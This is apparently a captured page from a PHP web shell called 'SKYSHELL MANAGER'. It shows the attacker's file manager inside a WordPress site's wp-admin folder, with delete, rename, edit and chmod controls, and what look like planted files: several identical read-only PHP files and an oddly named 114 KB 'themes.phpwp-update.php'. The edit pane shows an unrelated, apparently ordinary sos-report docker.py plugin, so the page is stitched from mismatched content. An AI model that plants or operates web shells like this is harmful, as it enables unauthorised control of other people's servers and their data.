📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: docker.py
# Copyright (C) 2014 Red Hat, Inc. Bryn M. Reeves <bmr@redhat.com> # This file is part of the sos project: https://github.com/sosreport/sos # # This copyrighted material is made available to anyone wishing to use, # modify, copy, or redistribute it subject to the terms and conditions of # version 2 of the GNU General Public License. # # See the LICENSE file in the source distribution for further information. from sos.plugins import Plugin, RedHatPlugin, UbuntuPlugin, SoSPredicate class Docker(Plugin): """Docker containers """ plugin_name = 'docker' profiles = ('container',) option_list = [ ("all", "enable capture for all containers, even containers " "that have terminated", 'fast', False), ("logs", "capture logs for running containers", 'fast', False), ("size", "capture image sizes for docker ps", 'slow', False) ] def setup(self): self.add_copy_spec([ "/etc/docker/daemon.json", "/var/lib/docker/repositories-*" ]) self.add_env_var([ 'HTTP_PROXY', 'HTTPS_PROXY', 'NO_PROXY', 'ALL_PROXY', 'DOCKER_BUILD_PROXY', 'DOCKER_RUN_PROXY' ]) self.add_journal(units="docker") self.add_cmd_output("ls -alhR /etc/docker") self.set_cmd_predicate(SoSPredicate(self, services=["docker"])) subcmds = [ 'events --since 24h --until 1s', 'info', 'images', 'ps', 'ps -a', 'stats --no-stream', 'version', 'volume ls' ] for subcmd in subcmds: self.add_cmd_output("docker %s" % subcmd) # separately grab these separately as they can take a *very* long time if self.get_option('size'): self.add_cmd_output('docker ps -as') self.add_cmd_output('docker system df') nets = self.collect_cmd_output('docker network ls') if nets['status'] == 0: n = [n.split()[1] for n in nets['output'].splitlines()[1:]] for net in n: self.add_cmd_output("docker network inspect %s" % net) ps_cmd = 'docker ps -q' if self.get_option('all'): ps_cmd = "%s -a" % ps_cmd fmt = '{{lower .Repository}}:{{lower .Tag}} {{lower .ID}}' img_cmd = "docker images --format='%s'" % fmt vol_cmd = 'docker volume ls -q' containers = self._get_docker_list(ps_cmd) images = self._get_docker_list(img_cmd) volumes = self._get_docker_list(vol_cmd) for container in containers: self.add_cmd_output("docker inspect %s" % container, subdir='containers') if self.get_option('logs'): self.add_cmd_output("docker logs -t %s" % container, subdir='containers') for img in images: name, img_id = img.strip().split() insp = name if 'none' not in name else img_id self.add_cmd_output("docker inspect %s" % insp, subdir='images') for vol in volumes: self.add_cmd_output("docker volume inspect %s" % vol, subdir='volumes') def _get_docker_list(self, cmd): ret = [] result = self.exec_cmd(cmd) if result['status'] == 0: for ent in result['output'].splitlines(): ret.append(ent) return ret def postproc(self): # Attempts to match key=value pairs inside container inspect output # for potentially sensitive items like env vars that contain passwords. # Typically, these will be seen in env elements or similar, and look # like this: # "Env": [ # "mypassword=supersecret", # "container=oci" # ], # This will mask values when the variable name looks like it may be # something worth obfuscating. env_regexp = r'(?P<var>(pass|key|secret|PASS|KEY|SECRET).*?)=' \ '(?P<value>.*?)"' self.do_cmd_output_sub('*inspect*', env_regexp, r'\g<var>=********"') class RedHatDocker(Docker, RedHatPlugin): packages = ('docker', 'docker-latest', 'docker-io', 'docker-engine', 'docker-ce', 'docker-ee') def setup(self): super(RedHatDocker, self).setup() self.add_copy_spec([ "/etc/udev/rules.d/80-docker.rules", "/etc/containers/" ]) class UbuntuDocker(Docker, UbuntuPlugin): packages = ('docker.io', 'docker-engine') def setup(self): super(UbuntuDocker, self).setup() self.add_copy_spec([ "/etc/default/docker", "/run/docker/libcontainerd/containerd/events.log" ]) # vim: set et ts=4 sw=4 :
Save